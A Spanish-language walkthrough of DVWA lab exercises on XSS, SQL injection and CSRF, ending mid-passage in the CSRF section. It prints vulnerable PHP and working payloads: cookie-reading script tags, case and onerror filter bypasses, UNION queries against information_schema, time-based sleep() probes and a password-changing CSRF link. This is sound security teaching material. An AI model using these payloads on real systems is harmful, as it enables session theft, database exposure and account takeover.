OWASP TOP 10 es una lista de las diez vulnerabilidades de seguridad más críticas en
aplicaciones web, publicada por el Proyecto Abierto de Seguridad en Aplicaciones Web
(OWASP, por sus siglas en inglés). Esta lista se actualiza periódicamente y tiene como
objetivo concienciar a desarrolladores, arquitectos y organizaciones sobre los riesgos de
seguridad más comunes, así como proporcionar recomendaciones para mitigarlos. Las
vulnerabilidades incluyen problemas como la inyección de código, la autenticación rota y la
exposición de datos sensibles, entre otros.
Todas las actividades/ejercicios realizados en los siguientes apartados son de la
maquina virtual DVWA
Inyección XSS - Conceptos.
La inyección XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad en aplicaciones web que permite a un atacante inyectar scripts maliciosos en páginas web vistas por otros usuarios. Esto ocurre cuando una aplicación web no valida o escapa adecuadamente los datos de entrada proporcionados por el usuario, permitiendo que el código JavaScript o HTML malicioso se ejecute en el navegador de la víctima.
Existen tres tipos principales de XSS:
- XSS Reflejado: El script malicioso se envía como parte de una solicitud (por ejemplo, a través de un enlace) y se refleja en la respuesta del servidor. Este tipo de ataque suele requerir que la víctima haga clic en un enlace malicioso.
- XSS Almacenado: El script malicioso se almacena en el servidor (por ejemplo, en una base de datos) y se entrega a los usuarios cuando acceden a la página afectada. Este tipo es más peligroso, ya que puede afectar a múltiples usuarios sin necesidad de interacción adicional.
- XSS DOM-based: El ataque se produce cuando el script malicioso se ejecuta en el navegador del usuario a través de la manipulación del Document Object Model (DOM) de la página, sin necesidad de interacción con el servidor.
Las consecuencias de un ataque XSS pueden incluir el robo de cookies de sesión, la suplantación de identidad, la redirección a sitios maliciosos y la ejecución de acciones no autorizadas en nombre de la víctima. Para prevenir XSS, es fundamental validar y escapar adecuadamente todos los datos de entrada y salida en las aplicaciones web.
Inyecciones de XSS Reflejado
Para dar como superado el ejercicio deberemos de haber sido capaz de ejecutar algún tipo de codigo js como podria ser alert() o document.cookie.
Dificultad baja
Codigo fuente en php:
<?php header("X-XSS-Protection: 0"); // Is there any input? if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
Como se puede ver en el codigo fuente, no hay ningún tipo de validación en el codigo, por lo que si introducimos directamente el codigo: <script>alert(document.cookie)</script> funcionara.
<script>alert(document.cookie)</script>

Dificultad media
Codigo fuente en php:
<?php header("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists("name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( <"script>", "", $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello {$name}</pre>"; } ?>
Como se puede ver en el codigo fuente, esta vez tiene una pequeña sanitización la cual aplica un str_replace() de </script> a todo la cadena que introducimos, por lo que si volvemos a utilizar el input anterior esta vez no funcionara. Si vamos a la documentación de PHP y buscamos por str_replace() podremos ver la siguiente nota:

Por lo que teniendo la siguiente información, podemos saber que si ponemos </script> pero con alguna letra mayuscula funcionara adecuadamente, ya que a diferencia de la función str_replace() html no es case-sensitive por lo que el codigo sera: <Script>alert(document.cookie)</Script>
<Script>alert(document.cookie)</Script>

Dificultad alta
Codigo fuente en php:
<?php header("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists("name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', "", $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello {$name}</pre>"; } ?>
Esta vez en el codigo fuente se esta sanitizando mediante una expresión regular, la cual podemos ver que tiene /i al final, lo cual hace que no sea case-sensitive por lo que por mucho que intentemos poner </script> siempre sera remplazado por lo que no vamos a poder ejecutar codigo JS utilizando dicha etiqueta. Por suerte para nosotros esta no es la unica manera de ejecutar codigo JS, ya que el atributo onerror ejecuta codigo JS cuando no puede cargar un enlace externo

Teniendo esta información, podemos ver que onerror no esta siendo sanitizado por lo que podriamos utilizarlo, usando el siguiente codigo <img src=x onerror=alert(document.cookie)>
<img src=x onerror=alert(document.cookie)>

Inyecciones de XSS Almacenado
Para dar como superado el ejercicio deberemos de haber sido capaz de ejecutar algún tipo de codigo js como podria ser alert() o document.cookie.
Dificultad baja
Codigo fuente en php:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not workE_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? ($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
Aunque es más dificil de ver en este codigo debido a que tiene mucho más contenido de "relleno", no hay sanitización alguna respecto a XSS por lo que podremos introducir el codigo <script>alert(document.cookie)</script> donde queramos, por facilidad lo introduciremos en el campo del mensaje en vez del de nombre, ya que este tiene una pequeña sanitización pero de momento no es importante.
<script>alert(document.cookie)</script>

Dificultad media
Codigo fuente en php:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not workE_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? ($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
Esta vez se puede apreciar que hay una mayor sanitización en el campo de mensaje que en la de name, por lo que nos centraremos en como hacer la inyección XSS en ese campo, como pudimos ver en las actividades de XSS Reflejado str_replace es case-sensitive a diferencia de HTML, por lo que podemos añadir la etiqueta con una mayusucla y bypasariamos esa sanitización. Si lo intentamos veremos que no podemos introducir más de 10 caracteres en el campo de nombre, pero debido a como esta validado dicha cantidad de caracteres podemos modificarlo directamente en la pagina web para introducir la cantidad de caracteres que queramos. Una vez hemos cambiado la cantidad de caracteres ahora si podemos introducir el codigo: <Script>alert(document.cookie)</Script>.
<Script>alert(document.cookie)</Script>

Dificultad alta
Codigo fuente en php:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not workE_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? ($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
Al igual que en el ejercicio de XSS Reflejado de dificultad alta, la sanitización esta hecha con una expresión regular, que en nuestro caso vamos a saltarnosla utilizando una etiqueta img con el atributo onerror. Como en el ejercicio anterior es necesario modificar el html para poder introducir más de 10 caracteres. Por lo que introduciremos: <img src=/ onerror=alert(document.cookie)>.
<img src=/ onerror=alert(document.cookie)>

Inyecciones de XSS DOM-based
Para dar como superado el ejercicio deberemos de haber sido capaz de ejecutar algún tipo de codigo js como podria ser alert() o document.cookie.
Dificultad baja
Codigo fuente en php:
<?php # No protections, anything goes ?>
Tal y como pone en el codigo, no hay ningún tipo de proteción pero a diferencia de los otros dos tipos de ataque, esta vez no tenemos un "formulario" por el cual introducir datos. Si modificamos el select, veremos que esto cambia en la URL por lo que podemos realizar la inyección XSS mediante la URL, al no tener ningún tipo de sanitización podremos introducir directamente el codigo: <Script>alert(document.cookie)</Script>
<Script>alert(document.cookie)</Script>

Dificultad media
Codigo fuente en php:
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>
En este caso podemos ver que no se permite utilizar la etiqueta script, si miramos en la documentación de PHP sobre la función stripos podremos ver que esta no es case-sensitive, por lo que nuestro truco realizado en los anteriores ejercicio de poner la S en mayuscula no funcionara.

Tal y como vimos en los anteriores ejercicios, aunque no se nos permite el uso de la etiqueta <script>, podremos ejecutar codigo JS mediante el uso del atributo onerror en una etiqueta <img>, pero si lo ponemos dicho codigo en la URL no funciona, si miramos el codigo fuente podemos observar que se esta escribiendo correctamente pero todo esta dentro de la etiqueta option, que a su vez esta dentro de la etiqueta select.

Para solucionar este problema, lo que deberemos de hacer es cerrar dicha etiqueta select antes de poner nuestro codigo, dando como resultado el codigo: </select><img src=/ onerror=alert(document.cookie)>
</select><img src=/ onerror=alert(document.cookie)>

Dificultad alta
Codigo fuente en php:
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
En este caso vemos que la sanitización anterior ha sido cambiada por otra diferente, esto nos permitira usar <script> sin la necesidad de utilizar <img src=/ onerror=alert(document.cookie)> por lo que aunque es lo mismo, para mi es más comodo. Tal y como dice el codigo fuente esta vez esta utilizando una "White list" la cual en caso de que lo que introduzcamos no estre dentro de ese switch acabara en el default poniendonos "English". Teniendo en cuenta que es un parametro de URL podremos dejar English y añadirle un & con la inyección XSS de la siguiente manera: &</select><script>alert(document.cookie)</script>
&</select><script>alert(document.cookie)</script>

Inyección SQL - Conceptos.
La inyección SQL (SQL Injection) es una vulnerabilidad de seguridad en aplicaciones web que permite a un atacante interferir en las consultas que una aplicación realiza a su base de datos. Esto ocurre cuando una aplicación web no valida o escapa adecuadamente los datos de entrada proporcionados por el usuario, permitiendo que un atacante ejecute comandos SQL maliciosos que pueden manipular o acceder a datos sensibles.
Existen varios tipos de inyección SQL, entre los que se destacan:
- Inyección SQL Clásica: El atacante inserta código SQL malicioso en un campo de entrada, como un formulario de inicio de sesión, que se ejecuta en la base de datos. Este tipo de ataque puede permitir al atacante obtener acceso no autorizado a datos o incluso modificar la base de datos.
- Inyección SQL Basada en Tiempo: Este tipo de inyección se utiliza para determinar la estructura de la base de datos mediante la introducción de consultas que causan retrasos en la respuesta del servidor. El atacante puede inferir información sobre la base de datos basándose en el tiempo que tarda en responder.
- Inyección SQL Ciega: En este caso, el atacante no recibe mensajes de error que revelen información sobre la base de datos, pero puede hacer preguntas que devuelvan respuestas verdaderas o falsas. A través de este método, el atacante puede deducir información sobre la base de datos sin ver los resultados directamente.
Las consecuencias de un ataque de inyección SQL pueden incluir el acceso no autorizado a datos sensibles, la modificación o eliminación de datos, y la posibilidad de comprometer la integridad de la base de datos. Para prevenir la inyección SQL, es fundamental utilizar consultas parametrizadas, validar y escapar adecuadamente todos los datos de entrada y aplicar principios de seguridad en el diseño de la base de datos.
Extra
A modo de información adicional, estas son algunas de las formas para sacar información sensible del cuerpo de una base de datos en MySQL o cualquier base de datos SQL
- Numero de columnas: order by X
- Nombre de la base de datos: database()
- Todas las bases de datos: schema_name from information_schema.schemata
- Todas las tablas de la base de datos: table_name from information_schema.tables
- Todas las columnas: column:name from information_schema.column
Inyección SQL Clasica.
Para dar como superado el ejercicio deberemos de haber sido capaz de obtener información privada/sensible que el servidor no quiera mostrar, como podria ser el nombre de las base de datos o el nombre de las tablas
Dificultad baja
Codigo fuente en php:
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); break; case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); #$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
Como se puede apreciar en el codigo, si sabemos un poco de PHP/SQL el codigo no trae ningún tipo de proteción y esta utilizando comillas simples en la query, por lo que si introducimos una consulta simple como podria ser ' or '1'='1, obtendremos todos los datos que se muestran, pero para nosotros esto no es suficiente por lo que obtendremos el nombre de todas las tablas con la query ' or '1'='1' UNION SELECT database(),table_name from information_schema.tables; -- - funcionara
' or '1'='1' UNION SELECT database(),table_name from information_schema.tables; -- -

Dificultad media
Codigo fuente en php:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
Como se puede ver en el codigo fuente, esta vez tiene una pequeña sanitización la cual aplica mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id) a los datos que estamos introduciendo, ademas de esto, no tenemos un campo donde podamos escribir directamente, por lo que necesitaremos modificar el HTML para introducir lo que queramos, por lo que si volvemos a utilizar el input anterior esta vez nos dara un error. Si vamos a la documentación de PHP y buscamos por mysqli_real_escape_string() podremos ver lo que hace la función

Por lo que si ponemos una comilla, esta sera escapada por la función, pero para nuestra suerte si miramos la consulta, no hay comillas, esta puesto tal cual. Gracias a esto solamente tendremos que hacer la consulta sin poner ninguna comilla 1 UNION SELECT database(),table_name from information_schema.tables; -- - y funcionara correctamente
1 UNION SELECT database(),table_name from information_schema.tables; -- -

Dificultad alta
Codigo fuente en php:
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query( $GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo '<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo '<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>'; } } else { echo "Error in fetch " . $sqlite_db->lastErrorMsg(); } break; } } ?>
Como se puede apreciar en el codigo, esta vez la sanitización es incluso menor que en el ejercicio anterior, siendo que la sanitización se fundamente en un LIMIT 1, haciendo que aunque introduzcas ' or '1'='1 de manera efectiva, este solo mostrara un elemento, para contrasrestar esta medida, solamente tendremos que añadirle un comentario a nuestro codigo, haciendo que no interprete el LIMIT 1. Por lo que introduciremos ' or '1'='1' UNION SELECT database(),table_name from information_schema.tables; -- - y esto funcionara perfectamente
' or '1'='1' UNION SELECT database(),table_name from information_schema.tables; -- -

Inyección SQL Ciegas.
Al ser inyecciones SQL Ciegas para dar como superado el ejercicio deberemos de haber sido capaz de demostrar la existencia de una inyección SQL, esto lo haremos usandos sleep(), ya que si quisieramos obtener información más util a partir de una inyección blind, utilizariamos herramientas automatizadas
Dificultad baja
Codigo fuente en php:
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; $exists = false; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; try { $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors } catch (Exception $e) { print "There was an error."; exit; } $exists = false; if ($result !== false) { try { $exists = (mysqli_num_rows( $result ) > 0); } catch(Exception $e) { $exists = false; } } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; try { $results = $sqlite_db_connection->query($query); $row = $results->fetchArray(); $exists = $row !== false; } catch(Exception $e) { $exists = false; } break; } if ($exists) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } ?>
Al igual que en la inyección SQL Basica, no hay ninguna sanitización en el codigo, pero por desgracia, lo unico que nos mostrara es que existe, por lo que si introducimos ' or '1'='1, no veremos nada, ademas del existe.
Por lo que deberemos de optar por otro tipo de inyecciones, como podria ser la siguiente 1' and sleep(5)# tardando 5 segundos para mostrar un resultado, demostrando que es vulnerable a inyecciones SQL
1' and sleep(5)#

Dificultad media
Codigo fuente en php:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $exists = false; switch ($_DVWA['SQLI_DB']) { case MYSQL: $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; try { $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors } catch (Exception $e) { print "There was an error."; exit; } $exists = false; if ($result !== false) { try { $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors } catch(Exception $e) { $exists = false; } } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; try { $results = $sqlite_db_connection->query($query); $row = $results->fetchArray(); $exists = $row !== false; } catch(Exception $e) { $exists = false; } break; } if ($exists) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } ?>
Al igual que en las inyecciones SQL Clasicas en dificultad media, la dificultad realmente reside en entender la query que se esta procesando, ya que si pusieramos la misma de antes 1' and sleep(5)# no funcionara. Ya que estamos poniendo comillas cuando en el procesamiento de la query no hay comillas, por lo que si lo ponemos sin comillas 1 and sleep(5)# funcionara correctamente
1 and sleep(5)#

Dificultad alta
Codigo fuente en php:
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; $exists = false; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; try { $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors } catch (Exception $e) { $result = false; } $exists = false; if ($result !== false) { // Get results try { $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors } catch(Exception $e) { $exists = false; } } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; try { $results = $sqlite_db_connection->query($query); $row = $results->fetchArray(); $exists = $row !== false; } catch(Exception $e) { $exists = false; } break; } if ($exists) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } ?>
La unica sanitización que tiene en este caso es un Limit, la cual podemos sobrepasar poniendo un comentario como hemos hecho anteriormente por lo que la inyección que usamos en el primer nivel 1' and sleep(5)#, tambien valdira en este nivel.
1' and sleep(5)#

CSRF - Conceptos y ejercicios.
La falsificación de solicitudes entre sitios (CSRF, por sus siglas en inglés) es una vulnerabilidad de seguridad en aplicaciones web que permite a un atacante inducir a un usuario a realizar acciones no deseadas en una aplicación en la que está autenticado. Esto ocurre cuando un atacante engaña a un usuario para que envíe una solicitud no intencionada a una aplicación web, aprovechando la sesión activa del usuario.
Al ser una vulnerabilidad CSRF, y tal cocmo esta en DVWA, daremos como superado cuando consigamos generar un enlace que al clickarlo cambien la contraseña del usuario a admin (o cualquier otra, utilizaremos esta para evitar confunsiones).
Dificultad baja.
Codigo fuente en php:
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $current_user = dvwaCurrentUser(); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Como se puede ver en el codigo fuente, no hay sanitización, solamente hay una comprobación de si las contraseñas son iguales, por lo que cambiaremos nuestra contraseña y copiaremos el enlace que se genera, siendo asi este enlace el que cambiara la contraseña al usuario
http://localhost:4280/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
Dificultad media.
Codigo fuente en php:
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $current_user = dvwaCurrentUser(); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Como podemos ver en el codigo, en este caso se le añade una sanitización especial, la cual es que la cabecera referer, lo cual si mandamos una url a cualquier persona y no estaba antes en la pagina, no funcionara, ya que detectara que el referer no es correcto. para solucionar dicho problema, tendremos que utilizar la burpsuite y añadir la cabecera referrer a dicha petición, siendo una cabecera de ejemeplo Referer: http://192.168.179.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change, por lo que nosotros podremos añadir la siguiente cabecera para que funcione.
referer: http:192.168.179.1:4280/vulnerabilities/csrf

Dificultad alta.
Codigo fuente en php:
<?php $change = false; $request_type = "html"; $return_message = "Request Failed"; if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") { $data = json_decode(file_get_contents('php://input'), true); $request_type = "json"; if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) && array_key_exists("password_new", $data) && array_key_exists("password_conf", $data) && array_key_exists("Change", $data)) { $token = $_SERVER['HTTP_USER_TOKEN']; $pass_new = $data["password_new"]; $pass_conf = $data["password_conf"]; $change = true; } } else { if (array_key_exists("user_token", $_REQUEST) && array_key_exists("password_new", $_REQUEST) && array_key_exists("password_conf", $_REQUEST) && array_key_exists("Change", $_REQUEST)) { $token = $_REQUEST["user_token"]; $pass_new = $_REQUEST["password_new"]; $pass_conf = $_REQUEST["password_conf"]; $change = true; } } if ($change) { // Check Anti-CSRF token checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' ); // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new); $pass_new = md5( $pass_new ); // Update the database $current_user = dvwaCurrentUser(); $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ); // 